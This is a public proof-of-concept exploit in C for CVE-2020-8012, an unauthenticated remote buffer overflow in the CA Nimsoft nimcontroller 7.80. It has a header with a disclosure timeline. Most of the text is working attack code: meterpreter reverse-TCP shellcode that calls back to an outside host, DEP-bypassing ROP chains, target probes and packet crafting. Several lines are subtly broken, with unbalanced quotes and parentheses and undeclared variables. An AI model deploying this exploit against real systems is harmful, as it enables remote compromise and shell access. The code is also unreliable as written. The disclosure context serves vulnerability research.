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# Exploit Title: CA Unified Infrastructure Management Nimsoft 7.80 - Remote Buffer Overflow # Exploit Author: wetw0rk # Exploit Version: Public POC # Vendor Homepage: https://docops.ca.com/ca-unified-infrastructure-management/9-0-2/en # Software Version : 7.80 # Tested on: Windows 10 Pro (x64), Windows Server 2012 R2 Standard (x64) # CVE: CVE-2020-8012 /************************************************************************************************************************** ** * Description: * ** *Unauthenticated Nimbus nimcontroller RCE, tested against build 7.80.3132 although multiple versions are affected. * *The exploit won't crash the service.* ** *You may have to run the exploit code multiple times on Windows Server 2012. If you exploit Windows Server 2019 it * *should work as well just didn't get a chance to test it (reversing other things), I put faith in my ROP chain being * *universal (worked first try on 2012). * ** * Note:* ** * This is what it looks like, a fully remote stack based userland x64 exploit (NOT WOW64) and YES this did bypass* * the stack cookie. WE OUT HERE!!! * ** * Compile: * ** *gcc poc_release.c -o singAboutMeImDyingOfThirst * ** * Shoutout:* ** *Xx25, SneakyNachos, liquidsky, Itzik, r4g1n-cajun, FR13NDZ, Geluchat, ihack4falafel, cheshire_jack, the NSA * *for dropping Ghidra, and my Mentor* ** * ----------------------------------------------- ReSpoNsIb1E Di$C10sUrE ----------------------------------------------- * * 11/07/19 - Vendor contacted (POC code and POC video sent)* * 11/15/19 - Vendor contacted for update, engineering team unable to reproduce bug * * 11/20/19 - Vendor cannot reproduce bug, call for a demo scheduled* * 11/22/19 - Vendor rescheduled to Dec 3rd, claims (<ROAST REDACTED>...) * * 12/03/19 - Vendor confirms exploitability and vulnerability presence * * 12/13/19 - Vendor finalizing hotfix* * 12/19/19 - Vendor hotfix tested against POC code * * 01/07/20 - Vendor contacted for update on patch and case status, followed up on 01/14/20 * * 01/21/20 - Vendor replies (awaiting more info) * * 01/27/20 - Vendor requests exploit code to release in late February to allow customers time to patch * * 02/XX/20 - PoC sample dropped* **************************************************************************************************************************/ #include <stdio.h> #include <stdint.h> #include <ctype.h> #include <stdlib.h> #include <string.h> #include <getopt.h> #include <unistd.h> #include <arpa/inet.h> #include <sys/socket.h> #include <netinet/in.h> /* msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.159.157 LPORT=42 -f c */ unsigned char shellcode[] = \ "\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" "\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b" "\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b" "\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41" "\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1" "\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45" "\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b" "\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01" "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48" "\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9" "\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00" "\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5" "\x49\xbc\x02\x00\x00\x2a\xc0\xa8\x9f\x9d\x41\x54\x49\x89\xe4" "\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68" "\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a" "\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89" "\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5" "\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba" "\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5" "\xe8\x93\x00\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9" "\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5" "\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41" "\x59\x68\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41" "\xba\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31" "\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9\xc8" "\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68\x00\x40" "\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5" "\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c" "\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4\x41" "\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2\xf0\xb5\xa2\x56\xff\xd5"; const char *exploited[] = \ { "10.0.18362", "6.3.9600", }; const char *versions[]= \ { "7.80 [Build 7.80.3132, Jun1 2015]", }; /******************************************************************************************************************** ** * NimsoftProbe:* ** *This is the structure used for the packet generator, it will be used specifically as the return type. Within* *the structure there are 2 members, first the pointer to the packet and secondly the packet length.* ** * NimsoftProbe *packet_gen(char *lparams[], int nparams, int exploit_buffer):* ** *This function will generate a nimbus probe, taken from nimpack (tool I developed while reverse engineering) a * *few modifications where made to handle the exploit buffer (mainly since it contains NULLS). * ** ********************************************************************************************************************/ #define PHLEN 300 /* header*/ #define PBLEN 2000/* body*/ #define PALEN 10000 /* argv*/ #define FPLEN 20000 /* final probe */ #define CLIENT "127.0.0.1/1337" #define INTSIZ(x) snprintf(NULL, 0, "%i", x) unsigned char packet_header[] = \ "\x6e\x69\x6d\x62\x75\x73\x2f\x31\x2e\x30\x20%d\x20%d\x0d\x0a"; unsigned char packet_body[] = \ /* nimbus header */ "\x6d\x74\x79\x70\x65\x0F"/* mtype */ "\x37\x0F\x34\x0F\x31\x30\x30\x0F"/* 7.4.100 */ "\x63\x6d\x64\x0F"/* cmd */ "\x37\x0F%d\x0F"/* 7.x */ "%s\x0F"/* probe */ "\x73\x65\x71\x0F"/* seq */ "\x31\x0F\x32\x0F\x30\x0F"/* 1.2.0 */ "\x74\x73\x0F"/* ts*/ "\x31\x0F%d\x0F"/* 1.X */ "%d\x0F"/* UNIX EPOCH*/ "\x66\x72\x6d\x0F"/* frm */ "\x37\x0F%d\x0F"/* 7.15*/ "%s\x0F"/* client addr */ "\x74\x6f\x75\x74\x0F"/* tout*/ "\x31\x0F\x34\x0F\x31\x38\x30\x0F"/* 1.4.180 */ "\x61\x64\x64\x72\x0F"/* addr*/ "\x37\x0F\x30\x0F"; /* 7.0 */ typedef struct { char *packet; int length; } NimsoftProbe; NimsoftProbe *packet_gen(char *lparams[], int nparams, int exploit_buffer) { int index = 0; int fmt_args; int lbody = 0; int largs = 0; char *tptr; char pheader[PHLEN]; char pbody[PBLEN]; char pargs[PALEN]; char pbuffer[FPLEN]; char temp_buffer[80]; char *probe = lparams[0]; int epoch_time = (int)time(NULL); NimsoftProbe *probePtr = (NimsoftProbe*)malloc(sizeof(NimsoftProbe)); fmt_args = snprintf(NULL, 0, "%d%s%d%d%d%s", (strlen(probe)+1), probe, (INTSIZ(epoch_time)+1), epoch_time, (strlen(CLIENT)+1), CLIENT ); if ((fmt_args + sizeof(packet_body)) > PBLEN) { printf("Failed to generate packet body\n"); exit(-1); } lbody = snprintf(pbody, PBLEN, packet_body, (strlen(probe)+1), probe, (INTSIZ(epoch_time)+1), epoch_time, (strlen(CLIENT)+1), CLIENT ); for (i = 1; i < nparams; i++) { memset(temp_buffer, '\0', 80); for (j = 0; j < strlen(lparams[i]); j++) { if ((c = lparams[i][j]) == '=') { memcpy(temp_buffer, lparams[i], j); index = ++j; break; } } tptr = lparams[i]; if ((c = 1, c += strlen(temp_buffer)) < PALEN) { largs += snprintf(pargs+largs, c, "%s", temp_buffer); largs++; } else { printf("Failed to generate packet arguments\n"); exit(-1); } if (index > 0 && exploit_buffer == 0) { tptr = tptr+index; if ((largs + strlen(tptr) + 2) < PALEN) { largs += snprintf(pargs+largs, 2, "%s", "1"); largs++; largs += snprintf(pargs+largs, strlen(tptr)+1, "%d", strlen(tptr)+1); largs++; } else { printf("Failed to generate packet arguments\n"); exit(-1); } c = 1, c += strlen(tptr); if ((largs + c) < PALEN) { largs += snprintf(pargs+largs, c, "%s", tptr); largs++; } else { printf("Failed to generate packet arguments\n"); exit(-1); } } if (index > 0 && exploit_buffer > 0) { tptr = tptr+index; if ((largs + exploit_buffer + 2) < PALEN) { largs += snprintf(pargs+largs, 2, "%s", "1"); largs++; largs += snprintf(pargs+largs, 5, %d", exploit_buffer+1); largs++; } else { printf("Failed to generate packet arguments\n"); exit(-1); } c = 1, c += exploit_buffer; if ((largs + c) < PALEN) { memcpy(pargs+largs, tptr, c); largs += exploit_buffer; largs++; } else { printf("Failed to generate packet arguments\n"); exit(-1); } } } index = snprintf(pbuffer, FPLEN, packet_header, lbody, largs); index += lbody; if (index < FPLEN) { strncat(pbuffer, pbody, lbody); } else { printf("Failed to concatenate packet body\n"); exit(-1); } for (i = 0; i < index; i++) if (pbuffer[i] == '\x0f') pbuffer[i] = '\x00'; if ((index + largs) < FPLEN) { for (i = 0; i < largs; i++) pbuffer[index++] = pargs[i]; } else { printf "Failed to concatenate packet arguments\n"); exit(-1); } probePtr->packet = pbuffer; probePtr->length = index; return probePtr; } /********************************************************************************************************************* * * * int parse_directory(char *response, int length):* * * *This function will parse the directory contents, specifically looking for the entry keyword;if found, we can * *proceed with exploitation. * * * * int check_vulnerability(char *rhost, int rport):* * * *This function will send a Nimbus probe to the target controller, specifically the directory_list probe. Once * *sent the returned packet will be parsed by parse_directory.* * * *********************************************************************************************************************/ #define PE "(\033[1m\033[31m-\033[0m)" #define PI "(\033[1m\033[94m*\033[0m)" #define PG "(\033[1m\033[92m+\033[0m)" int parse_directory(char *response, int length) { int i; int backup; int check = 0; int index = 0; char buf[80]; struct tm ts; time_t capture; if (strncmp(response, "nimbus/1.0", 10) != 0) return -1; while (index < length) { if (strcmp("entry", (response+index)) == 0) printf("%s Persistence is an art\n\n", PG); if (strcmp("name", (response+index)) == 0) { backup = index; check = 1; /* last modified */ for (int i = 0; i < 15; i++) index += strlen(response+index) + 1; capture = atoi(response+index); ts = *localtime(&capture); strftime(buf, sizeof(buf), "%m/%d/%Y %I:%M %p", &ts); printf("%12s ", buf); index = backup; /* type */ for (int i = 0; i < 7; i++) index += strlen(response+index) + 1; if (strcmp("2", (response+index)) == 0) printf("%7s", " "); else printf("%-7s", "<DIR>"); index = backup; /* name */ for (int i = 0; i < 3; i++) index += strlen(response+index) + 1; printf("%s\n", response+index); } index += strlen(response+index) + 1; } return (check != 1) ? -1 : 0; } int check_vulnerability(char *rhost, int rport) { int c; int sock; int count; NimsoftProbe *probe; char response[BUFSIZ]; struct sockaddr_in srv; char *get_directory_listing[] = { "directory_list", "directory=C:\\", "detail=1" }; probe = packet_gen(get_directory_listing, 3, 0); if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) return -1; srv.sin_addr.s_addr = inet_addr(rhost); srv.sin_port = htons(rport); srv.sin_family = AF_INET; if (connect(sock , (struct sockaddr *)&srv, sizeof(srv)) < 0) return -1; printf("%s Verifying vulnerable probe is reachable\n", PI); send(sock, probe->packet, probe->length, 0); count = read(sock, response, BUFSIZ); if (parse_directory(response, count) == 0) printf("\n%s Target ready for exploitation\n", PG); else return -1; free(probe); close(sock); return 0; } /******************************************************************************************************************** ** * char *nimdex(char *haystack, char *needle, int size):* ** *This function works similar to strstr, however it was specifically made to index "keys" to their respective * *"values" within a Nimbus packet. It has only been tested against the get_info packet. * ** * int parse_response(char *response, int length):* ** *This function leverages nimdex to perform 2 checks. The first check will verify the target operating system * *has been exploited, the second check will verify the Nimbus controller version is exploitable (or rather has* *a ROP chain ready). In order for exploitation to succeed only the second check needs to pass, I have faith in * *my ROP chain being universal. * ** * int check_version(char *rhost, int rport): * ** *This function will send a Nimbus probe to the target controller, specifically the get_info probe. Once sent * *the returned packet will be parsed by parse_response. * ** ********************************************************************************************************************/ char *nimdex(char *haystack, char *needle, int size) { int found = 0; int index = 0; if (strncmp(haystack, "nimbus/1.0", 10) != 0) return NULL; while (index < size) { if (strcmp(needle, (haystack+index)) == 0) found = 2; else if (found >= 2) found++; if (found == 5) return &haystack[index]; index += strlen(haystack+index) + 1; } return NULL; } int parse_response(char *response, int length) { int i; int c; char *ptr; int check = 0; int nv = sizeof(versions)/sizeof(versions[0]); int ne = sizeof(exploited)/sizeof(exploited[0]); if ((ptr = nimdex(response, "os_minor", length)) == NULL) return -1; printf("%s Probe successful, detected: %s\n", PI, ptr); if ((ptr = nimdex(response, "os_version", length)) == NULL) return -1; for (i = 0; i < ne; i++) if ((strcmp(exploited[i], ptr)) == 0) check = 1; if (check != 1) { printf("%s Exploit has not been tested against OS version\n", PE); printf("%s Continute exploitation (Y/N): ", PE); c = getchar(); if (tolower(c) != 'y') exit(-1); printf("%s If exploitation successful, update code!!!\n", PI); if ((ptr = nimdex(response, "os_version", length)) == NULL) return -1; printf("%s Target OS ID: %s\n", PI, ptr); } else printf("%s Target OS appears to be exploitable\n", PI); check = 0; if ((ptr = nimdex(response, "version", length)) == NULL) return -1; for (i = 0; i < nv; i++) if ((strcmp(versions[i], ptr)) == 0) check = 1; if (check != 1) { printf("%s Exploit has not been tested against target build\n", PE); exit(-1); } else printf("%s Nimbus build appears to be exploitable\n", PI); return 0; } int check_version(char *rhost, int rport) { int c; int sock; int count; NimsoftProbe *probe; char response[BUFSIZ]; struct sockaddr_in srv; char *get_operating_sys[] = { "get_info", "interfaces=0" }; probe = packet_gen(get_operating_sys, 2, 0); if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) return -1; srv.sin_addr.s_addr = inet_addr(rhost); srv.sin_port = htons(rport); srv.sin_family = AF_INET; if (connect(sock , (struct sockaddr *)&srv, sizeof(srv)) < 0) return -1; printf("%s Sending get_info probe to %s:%d\n", PI, rhost, rport); send(sock, probe->packet, probe->length, 0); count = read(sock, response, BUFSIZ); if ((parse_response(response, count) != 0)) { printf("%s Probe failed, unable to parse packet\n", PE); exit(-1); } free(probe); close(sock); return 0; } /***************************************************************************************************************** * This chain will re-align RSP / Stack, it MUST be a multiple of 16 bytes otherwise our call will fail. * * I had VP work 50% of the time when the stack was unaligned. * *****************************************************************************************************************/ int64_t rsp_alignment_rop_gadgets[] = { [0 ... 19]= 0x0000000140018c42, // ret (20 ROP NOPS) 0x0000000140002ef6, // pop rax ; ret 0x00000001401a3000, // *ptr to handle reference ( MEM_COMMIT | PAGE_READWRITE | MEM_IMAGE ) 0x00000001400af237, // pop rdi ; ret 0x0000000000000007, // alignment for rsp 0x0000000140025dab, // add esp, edi ; adc byte [rax], al ; add rsp, 0x0000000000000278 ; ret }; /***************************************************************************************************************** * This chain will craft function calls to GetModuleHandleA, GetProcAddressStub, and finally VirtualProtectStub. * * Once completed, we have bypassed DEP and can get code execution. Since VirtualProtectStub is auto generated,* * we needn't worry about other Windows OS's.* *****************************************************************************************************************/ int64_t dep_bypass_rop_gadgets[] = { // RAX -> HMODULE GetModuleHandleA( //( RCX == *module ) LPCSTR lpModuleName, // ); [0 ... 14]= 0x0000000140018c42, // ret (15 ROP NOPS) 0x0000000140002ef6, // pop rax ; ret 0x0000000000000000, // (zero out rax) 0x00000001400eade1, // mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret 0x0000000000000000, // 0x0000000000000000, // 0x0000000000000000, // 0x0000000000000000, // 0x0000000000000000, // 0x0000000000000000, // [24 ... 33] = 0x0000000140018c42, // ret (10 ROP NOPS) 0x0000000140131643, // pop rcx ; ret 0x00000000000009dd, // offset to "kernel32.dll" 0x000000014006d8d8, // add rax, rcx ; add rsp, 0x38 ; ret [37 ... 51] = 0x0000000140018c42, // ret (15 ROP NOPS) 0x00000001400b741b, // xchg eax, ecx ; ret 0x0000000140002ef6, // pop rax ; ret 0x000000014015e310, // GetModuleHandleA (0x00000000014015E330-20) 0x00000001400d1161, // call qword ptr [rax+20] ; add rsp, 0x40 ; pop rbx ; ret [56 ... 72] = 0x0000000140018c42, // ret (17 ROP NOPS) // RAX -> FARPROC GetProcAddressStub( // ( RCX == &addr) HMODULE hModule, // ( RDX == *module) lpProcName // ); 0x0000000140111c09, // xchg rax, r11 ; or al, 0x00 ; ret (backup &hModule) 0x0000000140002ef6, // pop rax ; ret 0x0000000000000000, // (zero out rax) 0x00000001400eade1, // mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret 0x0000000000000000, // 0x0000000000000000, // 0x0000000000000000, // 0x0000000000000000, // 0x0000000000000000, // 0x0000000000000000, // [83 ... 92] = 0x0000000140018c42, // ret (10 ROP NOPS) 0x0000000140131643, // pop rcx ; ret 0x0000000000000812, // offset to "virtualprotectstub" 0x000000014006d8d8, // add rax, rcx ; add rsp, 0x38 ; ret [96 ... 110]= 0x0000000140018c42, // ret (15 ROP NOPS) 0x0000000140135e39, // mov edx,eax ; mov rbx,qword [rsp+0x30] ; mov rbp,qword [rsp+0x38] ; mov rsi,qword [rsp+0x40] ; mov rdi,qword [rsp+0x48] ; mov eax,edx ; add rsp,0x20 ; pop r12; ret [112 ... 121] = 0x0000000140018c42, // ret (10 ROP NOPS) 0x00000001400d1ab8, // mov rax, r11 ; add rsp, 0x30 ; pop rdi ; ret [123 ... 132] = 0x0000000140018c42, // ret (10 ROP NOPS) 0x0000000140111ca1, // xchg rax, r13 ; or al, 0x00 ; ret 0x00000001400cf3d5, // mov rcx, r13 ; mov r13, qword [rsp+0x50] ; shr rsi, cl ; mov rax, rsi ; add rsp, 0x20 ; pop rdi ; pop rsi ; pop rbp ; ret 0x0000000000000000, // 0x0000000000000000, // 0x0000000000000000, // [138 ... 143] = 0x0000000140018c42, // ret 0x0000000140002ef6, // pop rax ; ret 0x000000014015e318, // GetProcAddressStub (0x00000000014015e338-20) 0x00000001400d1161, // call qword ptr [rax+20] ; add rsp, 0x40 ; pop rbx ; ret [147 ... 163] = 0x0000000140018c42, // ret (17 ROP NOPS) // RAX -> BOOL VirtualProtectStub( // ( RCX == *shellcode) LPVOIDlpAddress, // ( RDX == len(shellcode)) SIZE_TdwSize, // ( R8== 0x0000000000000040) DWORD flNewProtect, // ( R9== *writeable location ) PDWORDlpflOldProtect, // ); 0x0000000140111c09, // xchg rax, r11 ; or al, 0x00 ; ret (backup *VirtualProtectStub) 0x000000014013d651, // pop r12 ; ret 0x00000001401fb000, // *writeable location ( MEM_COMMIT | PAGE_READWRITE | MEM_IMAGE ) 0x00000001400eba74, // or r9, r12 ; mov rax, r9 ; mov rbx, qword [rsp+0x50] ; mov rbp, qword [rsp+0x58] ; add rsp, 0x20 ; pop r12 ; pop rdi ; pop rsi ; ret [168 ... 177] = 0x0000000140018c42, // ret (10 ROP NOPS) 0x0000000140002ef6, // pop rax ; ret 0x0000000000000000, // 0x00000001400eade1, // mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret 0x0000000000000000, // 0x0000000000000000, // 0x0000000000000000, // 0x0000000000000000, // 0x0000000000000000, // 0x0000000000000000, // [187 ... 196] = 0x0000000140018c42, // ret (10 ROP NOPS) 0x0000000140131643, // pop rcx ; ret 0x000000000000059f, // (offset to *shellcode) 0x000000014006d8d8, // add rax, rcx ; add rsp, 0x38 ; ret [200 ... 214] = 0x0000000140018c42, // ret (15 ROP NOPS) 0x00000001400b741b, // xchg eax, ecx ; ret 0x00000001400496a2, // pop rdx ; ret 0x00000000000005dc, // dwSize 0x00000001400bc39c, // pop r8 ; ret 0x0000000000000040, // flNewProtect 0x00000001400c5f8a, // mov rax, r11 ; add rsp, 0x38 ; ret (RESTORE VirtualProtectStub) [221 ... 237] = 0x0000000140018c42, // ret (17 ROP NOPS) 0x00000001400a0b55, // call rax ; mov rdp qword ptr [rsp+48h] ; mov rsi, qword ptr [rsp+50h] ; mov rax, rbx ; mov rbx, qword ptr [rsp + 40h] ; add rsp,30h ; pop rdi ; ret [239 ... 258] = 0x0000000140018c42, // ret (20 ROP NOPS) 0x0000000140002ef6, // pop rax ; ret (CALL COMPLETE, "JUMP" INTO OUR SHELLCODE) 0x0000000000000000, // (zero out rax) 0x00000001400eade1, // mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret 0x0000000000000000, // 0x0000000000000000, // 0x0000000000000000, // 0x0000000000000000, // 0x0000000000000000, // 0x0000000000000000, // [268 ... 277] = 0x0000000140018c42, // ret (10 ROP NOPS) 0x0000000140131643, // pop rcx ; ret 0x0000000000000317, // (offset to our shellcode) 0x000000014006d8d8, // add rax, rcx ; add rsp, 0x38 ; ret [281 ... 295] = 0x0000000140018c42, // ret (15 ROP NOPS) 0x00000001400a9747, // jmp rax [297 ... 316] = 0x0000000140018c42, // ret (do not remove) }; /******************************************************************************************************************** ** * int generate_rop_chain(unsigned char *buffer, int gadgets, int64_t rop_gadgets[]): * ** *This function will generate a rop chain and store it in the buffer passed as the first argument. The return * *value will contain the final ROP chain size.* ** ********************************************************************************************************************/ #define RSP_ROP (sizeof(rsp_alignment_rop_gadgets)/sizeof(int64_t)) #define DEP_ROP (sizeof(dep_bypass_rop_gadgets) / sizeof(int64_t)) int generate_rop_chain(unsigned char *buffer, int gadgets, int64_t rop_gadgets[]) { int i, j, k; int chain_size = 0; for (i = 0; i < gadgets; i++) for (j = 0, k = 0; j < sizeof(rop_gadgets[i]); j++) { *buffer++ = ((rop_gadgets[i]>>k)&0xff); chain_size++; k += 8; } return chain_size; } #define MAX_EXPLOIT_BUFFER 9000 unsigned char *generate_exploit_buffer(unsigned char *buffer) { int r1, r2, c; char rop_chain[20000]; unsigned char *heapflip = "\x3d\xfd\x06\x40\x01\x00\x00\x00"; memset(buffer , 0x41, 1000);// Offset memset(buffer+1000, 0x0F, 33); memcpy(buffer+1033, heapflip, 8); // HeapFlip - pop rsp ; or al, 0x00 ; add rsp, 0x0000000000000448 ; ret memset(buffer+1041, 0x41, 7); // Adjustment for the initial chain /* generate the first rop chain to perform stack alignment */ r1 = generate_rop_chain(rop_chain, RSP_ROP, rsp_alignment_rop_gadgets); memcpy(buffer+1048, rop_chain, r1); c = r1 + 1048; /* adjust for second stage */ memset(buffer+c, 0x57, 631); c += 631; /* generate the second rop chain to perform DEP bypass */ r2 = generate_rop_chain(rop_chain, DEP_ROP, dep_bypass_rop_gadgets); memcpy(buffer+c, rop_chain, r2); c += r2; /* ROP CHAIN MUST BE 3500 BYTES OR EXPLOITATION WILL FAIL */ memset(buffer+c, 0x45, (3500 - (r1 + r2 + 631))); c += (3500 - (r1 + r2 + 631)); memcpy(buffer+c, "kernel32.dll\x00", 13); c += 13; memcpy(buffer+c, "VirtualProtect\x00", 15); c += 15; /* NOPS */ memset(buffer+c, 0x90, 500); c += 500; /* shellcode */ memcpy(buffer+c, shellcode, (sizeof(shellcode)-1)); c += (sizeof(shellcode)-1); /* filler */ memset(buffer+c, 0x10, (8000 - c)); return buffer; } #define MAX_ARGUMENTS 5 void help() { printf("usage: ./singAboutMeImDyingOfThirst [-h] [-t TARGET] [-p PORT] [ARG=VAL]\n\n"); printf("Sing About Me Im Dying Of Thirst - A nimcontroller's worst nightmare\n\n"); printf("optional arguments:\n"); printf("-h, --helpshow this help message and exit\n"); printf("-t TARGET, --target TARGETtarget host to probe\n"); printf("-p PORT, --port PORTnimcontroller port\n\n"); printf("examples:\n"); printf("./singAboutMeImDyingOfThirst -t 192.168.88.130 -p 48000\n"); exit(0); } int main(int argc, char **argv) { int c; int sock; int rport; NimsoftProbe *probe; struct sockaddr_in srv; char *rhost, *port; char *params[MAX_ARGUMENTS]; unsigned char *exploit_buff; unsigned char buffer[MAX_EXPLOIT_BUFFER]; unsigned char final_buffer[MAX_EXPLOIT_BUFFER] = "directory="; char *exploit[] = { "directory_list", final_buffer }; while (1) { static struct option long_options[] = { {"help",no_argument,0, 'h'}, {"target",required_argument,0, 't'}, {"port",required_argument,0, 'p'}, {0, 0, 0} }; int option_index = 0; c = getopt_long (argc, argv, "ht:p:", long_options, &option_index); if (c == -1) break; switch(c) { case 't': rhost = optarg; break; case 'p': port = optarg; break; case 'h': default: help(); break; } } if (argc < 5) help(); rport = atoi(port); if (check_version(rhost, rport) != 0) { printf("%s Failed to connect to target host\n", PE); exit(-1); } if (check_vulnerability(rhost, rport) != 0) { printf("%s Target failed vulnerability tests\n", PE); exit(-1); } printf("%s Generating evil nimbus probe, we're watching\n", PI); exploit_buff = generate_exploit_buffer(buffer); memcpy(final_buffer+10, exploit_buff, 8000); probe = packet_gen(exploit, 2, 8000); printf("%s Sending evil buffer, R.I.P RIP - wetw0rk\n", PG); if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) return -1; srv.sin_addr.s_addr = inet_addr(rhost); srv.sin_port = htons(rport); srv.sin_family = AF_INET; if (connect(sock , (struct sockaddr *)&srv, sizeof(srv)) < 0) return -1; send(sock, probe->packet, probe->length, 0); free(probe); close(sock); } |
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